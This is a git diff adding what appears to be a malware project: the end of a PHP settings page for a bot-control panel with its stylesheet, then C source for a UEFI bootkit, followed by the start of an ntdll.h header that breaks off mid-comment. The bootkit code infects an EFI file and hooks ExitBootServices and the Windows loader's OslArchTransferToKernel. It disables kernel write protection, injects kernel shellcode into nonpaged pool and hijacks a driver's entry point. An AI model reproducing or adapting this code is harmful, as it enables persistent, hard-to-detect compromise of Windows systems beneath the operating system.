( + 'inc/config.php', + '' + ); + echo_settings_updated_info(); +} + +if(isset($_POST['timeout_offline'])) +{ + action_sec_check(); + if(!ctype_digit($_POST['timeout_offline']) || !ctype_digit($_POST['timeout_dead'])) + echo('
Invalid timeout value
'); + else + { + $CONF_TIMEOUT_OFFLINE = $_POST['timeout_offline']; + $CONF_TIMEOUT_DEAD = $_POST['timeout_dead']; + write_settings(); + } +} +else if(isset($_POST['db_name'])) +{ + action_sec_check(); + $CONF_DB_HOST = $_POST['db_host']; + $CONF_DB_NAME = $_POST['db_name']; + $CONF_DB_USER = $_POST['db_user']; + $CONF_DB_PASS = $_POST['db_pass']; + write_settings(); +} +else if(isset($_POST['pass'])) +{ + action_sec_check(); + if($_POST['pass'] === $_POST['pass2']) + { + $minChars = 4; + if(strlen($_POST['pass']) >= $minChars && strlen($_POST['user']) >= $minChars) + { + $CONF_PANEL_USER = $_POST['user']; + $CONF_PANEL_PASS = hash_pass($_POST['pass']); + write_settings(); + } + else + echo('
User and password must be at least '.$minChars.' characters long
'); + } + else + echo('
Passwords are not the same
'); +} +?> + +
+
+
Update Timeouts (Seconds)
+ + + + + +
Timeout:
Dead:
+
+
+
Update Database Credentials
+ + + + + + + +
Host:
Database:
Username:
Password:
+
+
+
+
+
Update Panel Credentials
+ + + + + + +
Username:
Password:
Password Verification:
+
+
+ \ No newline at end of file diff --git a/panel/style/style.css b/panel/style/style.css new file mode 100644 index 0000000..8c1219c --- /dev/null +++ b/panel/style/style.css @@ -0,0 +1,210 @@ +body +{ + font-size: 12px; + font-family: Verdana, Geneva, sans-serif; + background: #FFF; + width: 1100px; + margin: auto; + padding-top: 10px; + background: #F2F2F2; +} + +.nav +{ + padding: 2px 5px; +} + +.nav a, .btn +{ + border: 1px solid #AAA; + color: rgb(0, 0, 0); + text-decoration: none; + margin-right: -1px; + padding: 2px 20px; + background: #F2F2F2; + background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%); + position: relative; + border-radius: 2px; +} + +.btn +{ + color: #000; +} + +.nav a +{ + border-bottom-left-radius: 0px; + border-bottom-right-radius: 0px; + padding: 2px 20px; +} + +.nav a:hover, .btn:hover +{ + background-image: linear-gradient(to bottom, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%); +} + +.nav a.current +{ + background: #F7F7F7; + border-bottom: 1px solid #F7F7F7; + padding-top: 4px; + box-shadow: 5px 0 5px -5px #AAA, -5px 0 5px -5px #AAA; + z-index: 1; + color: #000; +} + +.nav a.current:first-child +{ + box-shadow: 5px 0 5px -5px #AAA; +} + +.nav a.current:last-child +{ + box-shadow: -5px 0 5px -5px #AAA; +} + +.content +{ + border: 1px solid #888; + padding: 10px; + background: #F7F7F7; +} + +.input +{ + padding: 2px; + border: 1px solid #AAA; + border-radius: 2px; +} + +form table td:first-child +{ + padding-right: 10px; + width: 1%; +} + +.box +{ + border: 1px solid #888; + padding: 10px; + background: #F2F2F2; + border-radius: 2px; +} + +.box div:first-child +{ + font-style: bold; + border-bottom: 1px solid #AAA; + margin: -10px; + margin-bottom: 10px; + padding: 5px; + background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%); +} + +.box div:first-child:before, +.box div:first-child:after +{ + content: ''; + color: #AAA; + padding-right: 5px; + padding-left: 5px; +} + +.margin-bottom +{ + margin-bottom: 10px; +} + +.margin-top +{ + margin-top: 10px; +} + +.center { + margin: 0; + position: absolute; + top: 50%; + left: 50%; + -ms-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + } + +.info, .error, .success +{ + padding: 5px 0px; + border: 1px solid; + text-align: center; + font-size: 12px; +} + +.info +{ + color: #00529B; + background: #f2f2ff; +} + +.error +{ + color: #D8000C; + background: #ffe5e5; +} + +.success +{ + color: #00d81d; + background: #ffe5e5; +} + +.box .input +{ + width: 100%; +} + +.table +{ + border-collapse: collapse; + width: 100%; +} + +.table td, .table th +{ + border: 1px solid #AAA; + padding: 5px; +} + +.table th +{ + font-style: bold; + background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%); + font-weight: normal; + border: 1px solid #888; +} + +.table tr:nth-child(even) +{ + background: #F7F7F7; +} + +.table tr:nth-child(odd) +{ + background: #F2F2F2; +} + +.disabled +{ + pointer-events: none; + cursor: default; + opacity: 0.6; +} + +.footer +{ + text-align: center; + padding: 5px 0px; + border: 1px solid #888; + border-top: 0px; + background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F2F2F2 100%); + color: #666; + display: block; +} \ No newline at end of file diff --git a/src/Bootkit/Common.h b/src/Bootkit/Common.h new file mode 100644 index 0000000..2b85b43 --- /dev/null +++ b/src/Bootkit/Common.h @@ -0,0 +1,17 @@ +#pragma once + +#include +#include +#include "global/Labels.h" +#include "global/Macros.h" +#include "global/Config.h" +#include "global/Hash.h" +#include "global/Pe.h" +#include "gnu-efi/efi.h" + +#include "OslArchTransferToKernel.h" +#include "ExitBootServices.h" +#include "DrvMain.h" +#include "EfiMain.h" +#include "Native.h" +#include "EfTbl.h" diff --git a/src/Bootkit/DrvMain.c b/src/Bootkit/DrvMain.c new file mode 100644 index 0000000..58530ce --- /dev/null +++ b/src/Bootkit/DrvMain.c @@ -0,0 +1,127 @@ +#include "Common.h" + +VOID +NTAPI +KeSetSystemAffinityThread( + _In_ SIZE_T Affinity +); + +PVOID +NTAPI +ExAllocatePool( + _In_ SIZE_T PoolType, + _In_ SIZE_T NumberOfBytes +); + +VOID +NTAPI +MmUnmapIoSpace( + _In_ LPVOID BaseAddress, + _In_ SIZE_T NumberOfBytes +); + +PVOID +NTAPI +MmMapIoSpace( + _In_ LPVOID PhysicalAddress, + _In_ SIZE_T NumberOfBytes, + _In_ SIZE_T CacheType +); + +typedef struct +{ + D_API( KeSetSystemAffinityThread ); + D_API( ExAllocatePool ); + D_API( MmUnmapIoSpace ); + D_API( MmMapIoSpace ); +} API ; + +/* API Hashes */ +#define H_API_KESETSYSTEMAFFINITYTHREAD 0x80679c78 /* KeSetSystemAffinityThread */ +#define H_API_EXALLOCATEPOOL 0xa1fe8ce1 /* ExAllocatePool */ +#define H_API_MMUNMAPIOSPACE 0xf2610ec4 /* MmUnmapIoSpace */ +#define H_API_MMMAPIOSPACE 0x7fbf0801 /* MmMapIoSpace */ + +/*! + * + * Purpose: + * + * Copies over a larger kernel shellcode and injects + * it into the host memory. + * +!*/ +D_SEC( G ) NTSTATUS NTAPI DrvMain( _In_ PVOID DriverObject, _In_ PVOID RegistryPath ) +{ + API Api; + + ULONG Ofs = 0; + + PVOID Fcn = NULL; + PVOID Phy = NULL; + PEFTBL Eft = NULL; + PIMAGE_DOS_HEADER Dos = NULL; + PIMAGE_NT_HEADERS Nth = NULL; + PIMAGE_SECTION_HEADER Sec = NULL; + PLDR_DATA_TABLE_ENTRY Ldr = NULL; + + /* Zero out stack structures */ + RtlSecureZeroMemory( &Api, sizeof( Api ) ); + + /* Get efi table */ + Eft = C_PTR( G_PTR( EfTbl ) ); + Dos = C_PTR( U_PTR( Eft->TgtDrvImgBase ) ); + Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); + Ldr = C_PTR( U_PTR( Eft->TgtDrvLdrEntry ) ); + Sec = C_PTR( U_PTR( Eft->TgtDrvImgSect ) ); + + /* Get functions */ + Api.KeSetSystemAffinityThread = PeGetFuncEat( Eft->KernelBase, H_API_KESETSYSTEMAFFINITYTHREAD ); + Api.ExAllocatePool = PeGetFuncEat( Eft->KernelBase, H_API_EXALLOCATEPOOL ); + Api.MmUnmapIoSpace = PeGetFuncEat( Eft->KernelBase, H_API_MMUNMAPIOSPACE ); + Api.MmMapIoSpace = PeGetFuncEat( Eft->KernelBase, H_API_MMMAPIOSPACE ); + + /* Map the physical memory */ + if ( ( Phy = Api.MmMapIoSpace( Eft->KernelBuf, Eft->KernelLen, 0 ) ) != NULL ) { + /* Allocate a nonpaged pool to execute over */ + if ( ( Fcn = Api.ExAllocatePool( 0 /* NonPaged */, Eft->KernelLen ) ) != NULL ) { + + /* Copy over the buffer */ + __builtin_memcpy( Fcn, Phy, Eft->KernelLen ); + + /* Get KernelMain() addr */ + Ofs = U_PTR( G_PTR( KmEnt ) ) - U_PTR( G_PTR( EfiMain ) ); + Fcn = C_PTR( U_PTR( Fcn ) + Ofs ); + + /* Execute KernelMain( KernelBase ); */ + ( ( VOID NTAPI ( * )( PVOID, PVOID ) ) Fcn )( Eft->KernelBase, Eft->TgtDrvImgBase ); + }; + /* Unmap the memory */ + Api.MmUnmapIoSpace( Phy, Eft->KernelLen ); + }; + + /* Force to 1 CPU */ + Api.KeSetSystemAffinityThread( 1 ); + + /* Remove write protection */ + __writecr0( __readcr0() &~ 0x000010000 ); + + /* Fix the section permissions */ + Sec->Characteristics &= IMAGE_SCN_MEM_EXECUTE; + + /* Fix the entrypoint */ + Ldr->EntryPoint = C_PTR( U_PTR( Dos ) + U_PTR( Eft->TgtDrvAddressOfEntrypoint ) ); + + /* Fix the image header */ + Nth->OptionalHeader.AddressOfEntryPoint = Eft->TgtDrvAddressOfEntrypoint; + + /* Insert write protection */ + __writecr0( __readcr0() | 0x000010000 ); + + /* Zero out stack structures */ + RtlSecureZeroMemory( &Api, sizeof( Api ) ); + + /* Execute original driver entrypoint */ + return ( ( __typeof__( DrvMain ) * ) C_PTR( U_PTR( Eft->TgtDrvImgBase ) + Eft->TgtDrvAddressOfEntrypoint ) )( + DriverObject, RegistryPath + ); +}; diff --git a/src/Bootkit/DrvMain.h b/src/Bootkit/DrvMain.h new file mode 100644 index 0000000..f4e3360 --- /dev/null +++ b/src/Bootkit/DrvMain.h @@ -0,0 +1,3 @@ +#pragma once + +D_SEC( G ) NTSTATUS NTAPI DrvMain( _In_ PVOID DriverObject, _In_ PVOID RegistryPath ); diff --git a/src/Bootkit/EfTbl.h b/src/Bootkit/EfTbl.h new file mode 100644 index 0000000..e9773ae --- /dev/null +++ b/src/Bootkit/EfTbl.h @@ -0,0 +1,17 @@ +#pragma once + +typedef struct __attribute__(( packed )) +{ + // ExitBootServicesHook / OslArchTransferToKernelHook + EFI_EXIT_BOOT_SERVICES ExitBootServices; + PVOID OslArchTransferToKernelGate; + + // DrvMain + PVOID KernelBuf; + ULONG KernelLen; + PVOID KernelBase; + PVOID TgtDrvImgSect; + PVOID TgtDrvImgBase; + PVOID TgtDrvLdrEntry; + ULONG TgtDrvAddressOfEntrypoint; +} EFTBL, *PEFTBL; diff --git a/src/Bootkit/EfiMain.c b/src/Bootkit/EfiMain.c new file mode 100644 index 0000000..6240dc6 --- /dev/null +++ b/src/Bootkit/EfiMain.c @@ -0,0 +1,68 @@ +#include "Common.h" + +D_SEC( A ) EFI_STATUS EFIAPI EfiMain( _In_ EFI_HANDLE ImageHandle, _In_ EFI_SYSTEM_TABLE * SystemTable ) +{ + SIZE_T Len = 0; + SIZE_T Pct = 0; + EFI_PHYSICAL_ADDRESS Epa = 0; + + PEFTBL Eft = NULL; + PCONFIG Cfg = NULL; + PIMAGE_DOS_HEADER Dos = NULL; + PIMAGE_NT_HEADERS Nth = NULL; + + /* Calculate the complete length of the current shellcode */ + Len = ( U_PTR( GetIp() ) + 11 ) - U_PTR( G_PTR( EfiMain ) ); + + /* Calculate the number of pages needed for the allocation */ + Pct = ( ( ( Len + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) ) / 0x1000 ); + + /* Allocate the pages for the shellcode */ + if ( SystemTable->BootServices->AllocatePages( AllocateAnyPages, EfiRuntimeServicesData, Pct, &Epa ) == EFI_SUCCESS ) { + + /* Save a copy of the handler */ + Eft = C_PTR( G_PTR( EfTbl ) ); + Eft->ExitBootServices = C_PTR( SystemTable->BootServices->ExitBootServices ); + + /* Copy over the shellcode */ + __builtin_memcpy( C_PTR( Epa ), C_PTR( G_PTR( EfiMain ) ), Len ); + + /* Insert hooks into the handler */ + SystemTable->BootServices->ExitBootServices = C_PTR( U_PTR( Epa ) + ( G_PTR( ExitBootServicesHook ) - G_PTR( EfiMain ) ) ); + }; + + if ( ImageHandle != NULL ) { + /* Locate the 'Leave' symbol @ GetIp */ + Cfg = C_PTR( U_PTR( GetIp() ) + 11 ); + + /* Get the EfiMain symbol */ + Dos = C_PTR( G_PTR( EfiMain ) ); + Dos = C_PTR( U_PTR( U_PTR( Dos ) &~ ( 0x20 - 1 ) ) ); + + do + { + /* Has the MZ Stub? */ + if ( Dos->e_magic == IMAGE_DOS_SIGNATURE ) { + /* Patch the specified e_lfanew? */ + if ( Dos->e_lfanew == Cfg->AddressOfNewExeHeader ) { + /* Get a pointer to the NT header */ + Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); + + /* Is our NT header? */ + if ( Nth->Signature == IMAGE_NT_SIGNATURE ) { + /* Yes! Abort! */ + break; + }; + }; + }; + /* Decrement */ + Dos = C_PTR( U_PTR( Dos ) - 0x20 ); + } while ( TRUE ); + + /* Execute EfiMain of the infected file */ + return ( ( __typeof__( EfiMain ) * ) C_PTR( U_PTR( Dos ) + Cfg->AddressOfEntrypoint ) )( + ImageHandle, SystemTable + ); + }; + return EFI_SUCCESS; +}; diff --git a/src/Bootkit/EfiMain.h b/src/Bootkit/EfiMain.h new file mode 100644 index 0000000..b00b9b2 --- /dev/null +++ b/src/Bootkit/EfiMain.h @@ -0,0 +1,3 @@ +#pragma once + +D_SEC( A ) EFI_STATUS EFIAPI EfiMain( _In_ EFI_HANDLE ImageHandle, _In_ EFI_SYSTEM_TABLE * SystemTable ); diff --git a/src/Bootkit/ExitBootServices.c b/src/Bootkit/ExitBootServices.c new file mode 100644 index 0000000..ce951db --- /dev/null +++ b/src/Bootkit/ExitBootServices.c @@ -0,0 +1,116 @@ +#include "Common.h" + +D_SEC( B ) EFI_STATUS EFIAPI ExitBootServicesHook( EFI_HANDLE ImageHandle, UINTN Key ) +{ + SIZE_T Osl = 0; + + PVOID Osp = NULL; + PEFTBL Eft = NULL; + PUINT8 Ptr = NULL; + PIMAGE_DOS_HEADER Dos = NULL; + PIMAGE_NT_HEADERS Nth = NULL; + PIMAGE_SECTION_HEADER Sec = NULL; + PIMAGE_DATA_DIRECTORY Dir = NULL; + PIMAGE_EXPORT_DIRECTORY Exp = NULL; + + /* Get pointer to EFI Table */ + Eft = C_PTR( G_PTR( EfTbl ) ); + + /* Find the return address and align it to the bottom of the page */ + Dos = C_PTR( __builtin_extract_return_addr( __builtin_return_address( 0 ) ) ); + Dos = C_PTR( U_PTR( U_PTR( Dos ) &~ ( 0x1000 - 1 ) ) ); + + do + { + /* Is this the MZ magic? */ + if ( Dos->e_magic == IMAGE_DOS_SIGNATURE ) { + if ( Dos->e_lfanew < 0x100 ) { + /* Get NT header */ + Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); + + if ( Nth->Signature == IMAGE_NT_SIGNATURE ) { + /* Abort */ + break; + }; + }; + }; + /* Decrement */ + Dos = C_PTR( U_PTR( Dos ) - 0x1000 ); + } while ( TRUE ); + + /* Get pointer to the export table data directory */ + Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + if ( Dir->VirtualAddress ) { + /* Get pointer to the export address table */ + Exp = C_PTR( U_PTR( Dos ) + Dir->VirtualAddress ); + + /* Is our target boot services driver? */ + if ( HashString( C_PTR( U_PTR( Dos ) + Exp->Name ), 0 ) == 0x8deb5a3a || + HashString( C_PTR( U_PTR( Dos ) + Exp->Name ), 0 ) == 0x64255bfd || + HashString( C_PTR( U_PTR( Dos ) + Exp->Name ), 0 ) == 0x64259d80 ) + { + /* Get PE Section header */ + Sec = IMAGE_FIRST_SECTION( Nth ); + + /* Enumerate all PE Sections */ + for ( INT Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) { + /* Is this .text section? */ + if ( HashString( & Sec[ Idx ].Name, 0 ) == 0x0b6ea858 ) { + for ( INT Jdx = 0 ; Jdx < Sec[ Idx ].SizeOfRawData ; ++Jdx ) { + /* Get a pointer to the current instruction */ + Ptr = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress + Jdx ); + + /* OslArchTransferToKernel Signature x1 */ + if ( Ptr[ 0x00 ] == 0x33 && Ptr[ 0x01 ] == 0xf6 && + Ptr[ 0x15 ] == 0x48 && Ptr[ 0x16 ] == 0x8d && Ptr[ 0x17 ] == 0x05 && + Ptr[ 0x1c ] == 0x48 && Ptr[ 0x1d ] == 0x8d && Ptr[ 0x1e ] == 0x0d && + Ptr[ 0x23 ] == 0x0f && Ptr[ 0x24 ] == 0x01 && Ptr[ 0x25 ] == 0x10 && + Ptr[ 0x26 ] == 0x0f && Ptr[ 0x27 ] == 0x01 && Ptr[ 0x28 ] == 0x19 ) + { + Osp = C_PTR( Ptr ); + Osl = 14; + break; + }; + + /* OslArchTransferToKernel Signature x2 */ + if ( Ptr[ 0x00 ] == 0x33 && Ptr[ 0x01 ] == 0xf6 && + Ptr[ 0x17 ] == 0x48 && Ptr[ 0x18 ] == 0x8d && Ptr[ 0x19 ] == 0x05 && + Ptr[ 0x1e ] == 0x48 && Ptr[ 0x1f ] == 0x8d && Ptr[ 0x20 ] == 0x0d && + Ptr[ 0x25 ] == 0x0f && Ptr[ 0x26 ] == 0x01 && Ptr[ 0x27 ] == 0x10 && + Ptr[ 0x28 ] == 0x0f && Ptr[ 0x29 ] == 0x01 && Ptr[ 0x2a ] == 0x19 ) + { + Osp = C_PTR( Ptr ); + Osl = 16; + break; + }; + + /* Note: Add x86 signatures here if you want x86 support */ + }; + /* .text is found */ + break; + }; + }; + /* Has the pointer to the function? */ + if ( Osp != NULL ) { + /* Copy over the callgate. */ + __builtin_memcpy( C_PTR( G_PTR( EfClg ) ), Osp, Osl ); + + /* Insert hook into OslArchTransferToKernel */ + *( PUINT16 )( C_PTR( U_PTR( Osp ) + 0x00 ) ) = ( UINT16 )( 0x25FF ); + *( PUINT32 )( C_PTR( U_PTR( Osp ) + 0x02 ) ) = ( UINT32 )( 0 ); + *( PUINT64 )( C_PTR( U_PTR( Osp ) + 0x06 ) ) = ( UINT64 )( C_PTR( G_PTR( OslArchTransferToKernelHook ) ) ); + + /* Insert jump callgate */ + *( PUINT16 )( C_PTR( U_PTR( G_PTR( EfClg ) ) + Osl + 0x00 ) ) = ( UINT16 )( 0x25FF ); + *( PUINT32 )( C_PTR( U_PTR( G_PTR( EfClg ) ) + Osl + 0x02 ) ) = ( UINT32 )( 0 ); + *( PUINT64 )( C_PTR( U_PTR( G_PTR( EfClg ) ) + Osl + 0x06 ) ) = ( UINT64 )( C_PTR( U_PTR( Osp ) + Osl ) ); + + /* Store the callgate address */ + Eft->OslArchTransferToKernelGate = C_PTR( G_PTR( EfClg ) ); + }; + }; + }; + /* Execute original function */ + return Eft->ExitBootServices( ImageHandle, Key ); +}; diff --git a/src/Bootkit/ExitBootServices.h b/src/Bootkit/ExitBootServices.h new file mode 100644 index 0000000..e28ccfd --- /dev/null +++ b/src/Bootkit/ExitBootServices.h @@ -0,0 +1,3 @@ +#pragma once + +D_SEC( B ) EFI_STATUS EFIAPI ExitBootServicesHook( EFI_HANDLE ImageHandle, UINTN Key ); diff --git a/src/Bootkit/Native.h b/src/Bootkit/Native.h new file mode 100644 index 0000000..9f3c76f --- /dev/null +++ b/src/Bootkit/Native.h @@ -0,0 +1,22439 @@ +/* + ntdll.h + User Mode, 32bit & 64bit version + Visual Studio 6.0 - Visual Studio 2010 and MingW compatible + Intel C++ Compiler (ICL) 11.x - 12.x prefered + + (c) 2019 - Rokas Kupstys + (c) 2009, 2010, 2011 - Fyyre + (c) 2011 - 2012 EP_X0FF + (c) 2011 - rndbit + + version 1.26 ( increment this if changes has global effect ) + please mark your changes date begin / date end comments + + last change 04/01/2012 + + note: Please use _M_X86/_M_X64 for if(n)def/endif conditionals, instead of WIN32/WIN64. +*/ + +#if !defined(_NTDLL_) +#define _NTDLL_ + +#pragma warning( disable:4001 ) // level 4 error - nonstandard extension 'single line comment' was used +#pragma warning( disable:4201 ) // level 4 error - nonstandard extension used : nameless struct/union - ANSI C violation +#pragma warning( disable:4214 ) // level 4 error - nonstandard extension used : bit field types other than int - ANSI C violation + +#if defined(__ICL) +#pragma warning ( disable : 344 ) +#endif + +#pragma pack( push, 8 ) + +#if defined(__cplusplus) +extern "C" { +#endif + +#include +#include + +#if !defined(NTSTATUS) +typedef LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#if !defined(SECURITY_STATUS) +typedef LONG SECURITY_STATUS; +#endif + +#define EXPORT_FN __declspec(dllexport) +#define IMPORT_FN __declspec(dllimport) + +#define PAGE_SIZE 0x1000 + +#define EXTERNAL extern "C" + +#ifndef UNREFERENCED_PARAMETER +#define UNREFERENCED_PARAMETER(P) (P) +#endif + +#include "ntstatus.h" + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#define NT_INFORMATION(Status) ((ULONG)(Status) >> 30 == 1) +#define NT_WARNING(Status) ((ULONG)(Status) >> 30 == 2) +#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) + +#define ABSOLUTE_TIME(wait) (wait) +#define RELATIVE_TIME(wait) (-(wait)) +#define NANOSECONDS(nanos) \ + (((signed __int64)(nanos)) / 100L) +#define MICROSECONDS(micros) \ + (((signed __int64)(micros)) * NANOSECONDS(1000L)) +#define MILLISECONDS(milli) \ + (((signed __int64)(milli)) * MICROSECONDS(1000L)) +#define SECONDS(seconds) \ + (((signed __int64)(seconds)) * MILLISECONDS(1000L)) + +#define ARGUMENT_PRESENT(ArgumentPointer) (\ + (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) + +#define RESTORE_LIST(ListEntry) \ + ListEntry.Flink = ListEntry.Flink; \ + ListEntry.Blink = ListEntry.Blink + +#define UNLINK(x) (x).Blink->Flink = (x).Flink; \ + (x).Flink->Blink = (x).Blink; + +#define ALIGN_TO_POWER2( x, n ) (((ULONG)(x) + ((n)-1)) & ~((ULONG)(n)-1)) + +#define POI(addr) *(ULONG *)(addr) + +#define IS_PATH_SEPARATOR(ch) ((ch == '\\') || (ch == '/')) +#define IS_DOT(s) ( s[0] == '.' && ( IS_PATH_SEPARATOR(s[1]) || s[1] == '\0') ) +#define IS_DOT_DOT(s) ( s[0] == '.' && s[1] == '.' && ( IS_PATH_SEPARATOR(s[2]) || s[2] == '\0') ) + +#define IS_PATH_SEPARATOR_U(ch) ((ch == (WCHAR)'\\') || (ch == (WCHAR)'/')) +#define IS_DOT_U(s) ( s[0] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[1]) || s[1] == UNICODE_NULL) ) +#define IS_DOT_DOT_U(s) ( s[0] == (WCHAR)'.' && s[1] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[2]) || s[2] == UNICODE_NULL) ) + +#define jmp_length(y,x) ((x-y)-5) +#define stc_jc(y,x) ((x-y)-7) + +#define MODIFYBYTE( _base, _offset, _byte ) { ((unsigned char *)_base)[_offset] = (unsigned char)_byte; } +#define MODIFYWORD( _base, _offset, _word ) { ((unsigned short *)_base)[_offset] = (unsigned short)_word; } +#define MODIFYDWORD( _base, _offset, _dword ) { ((unsigned long *)_base)[_offset] = (unsigned long)_dword; } +#define MODIFYQWORD( _base, _offset, _qword ) { ((unsigned long long *)_base)[_offset] = (unsigned long long)_qword; } + +#define PTR_ADD_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset))) + +#define WRITE_JMP( from, to ) { ((PCHAR)from)[0] = (CHAR)0xE9; *((ULONG_PTR *)&(((PCHAR)(from))[1])) = (PCHAR)(to) - (PCHAR)(from) - 5; } +#define GET_JMP( from ) (((PCHAR)from)[0]==(CHAR)0xE9)? (*((ULONG_PTR *)&(((PCHAR)(from))[1])) + 5 + (ULONG_PTR)(from)) : 0 + +#define ASSERT( exp ) ((void) 0) + +// +// The following macros store and retrieve USHORTS and ULONGS from potentially unaligned addresses, avoiding alignment faults. +// + +// 31.05.2011 - added the following macros +#define SHORT_SIZE (sizeof(USHORT)) +#define SHORT_MASK (SHORT_SIZE - 1) +#define LONG_SIZE (sizeof(LONG)) +#define LONG_MASK (LONG_SIZE - 1) +#define LOWBYTE_MASK 0x00FF + +#define FIRSTBYTE(VALUE) (VALUE & LOWBYTE_MASK) +#define SECONDBYTE(VALUE) ((VALUE >> 8) & LOWBYTE_MASK) +#define THIRDBYTE(VALUE) ((VALUE >> 16) & LOWBYTE_MASK) +#define FOURTHBYTE(VALUE) ((VALUE >> 24) & LOWBYTE_MASK) + +// +// if MIPS Big Endian, order of bytes is reversed. +// + +#define SHORT_LEAST_SIGNIFICANT_BIT 0 +#define SHORT_MOST_SIGNIFICANT_BIT 1 + +#define LONG_LEAST_SIGNIFICANT_BIT 0 +#define LONG_3RD_MOST_SIGNIFICANT_BIT 1 +#define LONG_2ND_MOST_SIGNIFICANT_BIT 2 +#define LONG_MOST_SIGNIFICANT_BIT 3 + +//++ +// +// VOID +// RtlStoreUshort ( +// PUSHORT ADDRESS +// USHORT VALUE +// ) +// +// Routine Description: +// +// This macro stores a USHORT value in at a particular address, avoiding +// alignment faults. +// +// Arguments: +// +// ADDRESS - where to store USHORT value +// VALUE - USHORT to store +// +// Return Value: +// +// none. +// +//-- + +#define RtlStoreUshort(ADDRESS,VALUE) \ + if ((ULONG_PTR)ADDRESS & SHORT_MASK) { \ + ((PUCHAR) ADDRESS)[SHORT_LEAST_SIGNIFICANT_BIT] = (UCHAR)(FIRSTBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[SHORT_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ + } \ + else { \ + *((PUSHORT) ADDRESS) = (USHORT) VALUE; \ + } + + +//++ +// +// VOID +// RtlStoreUlong ( +// PULONG ADDRESS +// ULONG VALUE +// ) +// +// Routine Description: +// +// This macro stores a ULONG value in at a particular address, avoiding +// alignment faults. +// +// Arguments: +// +// ADDRESS - where to store ULONG value +// VALUE - ULONG to store +// +// Return Value: +// +// none. +// +// Note: +// Depending on the machine, we might want to call storeushort in the +// unaligned case. +// +//-- + +#define RtlStoreUlong(ADDRESS,VALUE) \ + if ((ULONG_PTR)ADDRESS & LONG_MASK) { \ + ((PUCHAR) ADDRESS)[LONG_LEAST_SIGNIFICANT_BIT ] = (UCHAR)(FIRSTBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_3RD_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_2ND_MOST_SIGNIFICANT_BIT ] = (UCHAR)(THIRDBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_MOST_SIGNIFICANT_BIT ] = (UCHAR)(FOURTHBYTE(VALUE)); \ + } \ + else { \ + *((PULONG) ADDRESS) = (ULONG) VALUE; \ + } + +//++ +// +// VOID +// RtlRetrieveUshort ( +// PUSHORT DESTINATION_ADDRESS +// PUSHORT SOURCE_ADDRESS +// ) +// +// Routine Description: +// +// This macro retrieves a USHORT value from the SOURCE address, avoiding +// alignment faults. The DESTINATION address is assumed to be aligned. +// +// Arguments: +// +// DESTINATION_ADDRESS - where to store USHORT value +// SOURCE_ADDRESS - where to retrieve USHORT value from +// +// Return Value: +// +// none. +// +//-- + +#define RtlRetrieveUshort(DEST_ADDRESS,SRC_ADDRESS) \ + if ((ULONG_PTR)SRC_ADDRESS & SHORT_MASK) { \ + ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ + ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ + } \ + else { \ + *((PUSHORT) DEST_ADDRESS) = *((PUSHORT) SRC_ADDRESS); \ + } \ + +//++ +// +// VOID +// RtlRetrieveUlong ( +// PULONG DESTINATION_ADDRESS +// PULONG SOURCE_ADDRESS +// ) +// +// Routine Description: +// +// This macro retrieves a ULONG value from the SOURCE address, avoiding +// alignment faults. The DESTINATION address is assumed to be aligned. +// +// Arguments: +// +// DESTINATION_ADDRESS - where to store ULONG value +// SOURCE_ADDRESS - where to retrieve ULONG value from +// +// Return Value: +// +// none. +// +// Note: +// Depending on the machine, we might want to call retrieveushort in the +// unaligned case. +// +//-- + +#define RtlRetrieveUlong(DEST_ADDRESS,SRC_ADDRESS) \ + if ((ULONG_PTR)SRC_ADDRESS & LONG_MASK) { \ + ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ + ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ + ((PUCHAR) DEST_ADDRESS)[2] = ((PUCHAR) SRC_ADDRESS)[2]; \ + ((PUCHAR) DEST_ADDRESS)[3] = ((PUCHAR) SRC_ADDRESS)[3]; \ + } \ + else { \ + *((PULONG) DEST_ADDRESS) = *((PULONG) SRC_ADDRESS); \ + } + +//++ +// +// PCHAR +// RtlOffsetToPointer ( +// PVOID Base, +// ULONG Offset +// ) +// +// Routine Description: +// +// This macro generates a pointer which points to the byte that is 'Offset' +// bytes beyond 'Base'. This is useful for referencing fields within +// self-relative data structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Offset - An unsigned integer offset of the byte whose address is to +// be generated. +// +// Return Value: +// +// A PCHAR pointer to the byte that is 'Offset' bytes beyond 'Base'. +// +// +//-- + +#define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) + + +//++ +// +// ULONG +// RtlPointerToOffset ( +// PVOID Base, +// PVOID Pointer +// ) +// +// Routine Description: +// +// This macro calculates the 